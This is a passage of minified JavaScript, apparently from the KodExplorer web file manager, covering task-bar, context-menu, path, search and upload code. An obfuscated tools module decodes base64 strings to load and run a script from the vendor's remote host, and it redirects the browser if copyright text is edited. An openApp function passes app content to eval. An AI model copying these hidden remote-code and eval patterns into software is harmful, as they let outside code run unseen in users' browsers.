.this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1 +}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
